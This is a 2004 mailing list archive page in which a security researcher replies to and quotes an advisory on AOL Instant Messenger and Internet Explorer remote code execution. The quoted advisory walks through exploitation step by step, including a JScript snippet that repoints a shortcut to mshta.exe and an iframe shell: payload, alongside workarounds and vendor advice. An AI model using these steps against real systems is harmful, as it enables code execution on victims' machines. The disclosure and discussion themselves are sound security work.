lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Thu, 19 Feb 2004 11:49:08 -0800
From: "Thor Larholm" <>
To: "'Michael Evanchik'" <>,
Subject: RE: Aol Instant Messenger/Microsoft Internet Explorer remote code    execution

That's a very good example of combining several existing vulnerabilities
into a new exploit, a practice which is becoming increasingly necessary
to practically exploit IE vulnerabilities.

AIM predictable file location weakness, to plant a file
The shell: protocol vulnerability, to switch security zone
ShellApplication in the My Computer zone, to elevate privileges further

As most IE exploits this one relies on the additional privileges given
by the My Computer zone. Locking down this zone will prevent this
exploit, and many others, and has been discussed in the past on this

Cheng Peng Su wrote about the shell: protocol on February 10, 2004, but
Eiji James Yoshida originally detailed this vulnerability on October 8,

That advisory was itself an extension of his findings from June 5, 2003.

Eiji believed this issue to only be exploitable on Windows Server 2003,
but the implications extend to Windows XP and Windows 2000 as well.

Being able to store arbitrary content in a predictable file location is
a vulnerability category of its own and a premise, and have
traditionally been performed with a variety of applications such as

Macromedia Flash Player
Nullsoft Winamp

The AIM predictable file location vulnerability you discovered is
another one to add on the list, and I am sure there are plenty of more
to be found in other messenger applications.

The POC on downloads and executes an HTA file which
writes "yay.exe" to your harddrive and executes it. 


Thor Larholm
Senior Security Researcher
PivX Solutions
24 Corporate Plaza #180
Newport Beach, CA 92660
Phone: +1 (949) 231-8496
PGP: 0x5A276569
6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569

PivX defines "Proactive Threat Mitigation". Get a FREE Beta Version of

-----Original Message-----
From: Michael Evanchik [] 
Sent: Wednesday, February 18, 2004 6:07 PM
Subject: Aol Instant Messenger/Microsoft Internet Explorer remote code

Aol Instant Messenger/Microsoft Internet Explorer remote code execution

Feb 18, 2004

- Microsoft Internet Explorer 6.0 (lower was not tested)
- Microsoft Windows XP Pro
- Microsoft Windows XP Home
- Microsoft Windows 2003 Server Enterprise
- AOL Instant Messenger 5.5 to 4.3 tested

Not Vulnerable
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server
- Microsoft Windows 9X

High - Remote code execution

In English
    There is a problem in internet explorer where a file can be
displayed as html even though the file is not an html file.  Also the
file can be run in My Computer zone where lower 
restrictions apply.  Aol instant messenger buddy icons (and maybe themes
not tested) is 
just ONE way to get a file in a known location on the hard drive.  All
environments where tested fully patched from Windows Update and double
checked with Microsoft Baseline Security Analyzer 1.2

Tech Stuff and Explanation
1. Use a 3rd party Aol instant messenger client so that it allows you to
import a file that
   uses a local html execution code.  In my case I used...

var ok = new ActiveXObject("Shell.Application");
f = ok.NameSpace("C:\\Documents and Settings\\All Users\\Start
Menu\\Programs\\Accessories"); i= f.ParseName("Paint.lnk"); l =
i.GetLink; l.Path = "mshta.exe" l.Arguments

2. Send an instant message to ANOTHER name on a real AOL Instant
Messenger client to YOURSELF first.
   Make sure the victim (yourself in this case) is on your buddy list
before you instant message the 
   victim (yourself).  I think that helps send the icon right away. 

   Then look in c:\documents and settings\username\application

   Look for the newest file that came in that directory (you can tell by
sorting by date modified)  
   It's usually only 1k. If your unsure, open the file in Notepad to
find the html above.
   This will be the filename that EVERYONE gets.  For some reason its
   for any AOL user every time the icon is imported.

3. Now your ready to create your html page on a web server. 

   In the html webpage all that is needed is simply...

<iframe src="shell:appdata\aim\bartcache\1\file name you got from

This will not need to be changed ever again since your filename and
location is permanent for everyone on AOL.

4. Send a message with a hyperlink to your page.

Proof of Concept?
- If the bot is online you can instant message the screen name
Michael Evanchik
  but don't be lazy, just follow the instructions above [=

Vendor Recommendations
- America Online should not use a static directory and static file names
for buddy icons. 
  It would also help to filter server side for malicious buddy icon

- Microsoft should pay BETTER people to test their software instead of
rewards for virus writers
  Also the shell: protocol should not be allowed in html page or at 
  least consider the content Internet Zone instead of My computer Zone

Temp Fix
- Turn off buddy icons in My Aim > Edit Options > Edit Preferences >
Buddy Icons
- Disable scripting in Internet Explorer
- Do not use Internet Explorer, use Mozilla Firebird (now known as

Cheng Peng Su for the shell: protocol discovery
Http equiv and jelmer for the local html execution code and examples
advisories. Liu Die Yu because of his nice webpage of bugs at

- slacker my other brain
- illwill at
- abe,rain and dolan

------- - me - Need a professional programmer? - Other, Security, Consulting

Powered by blists - more mailing lists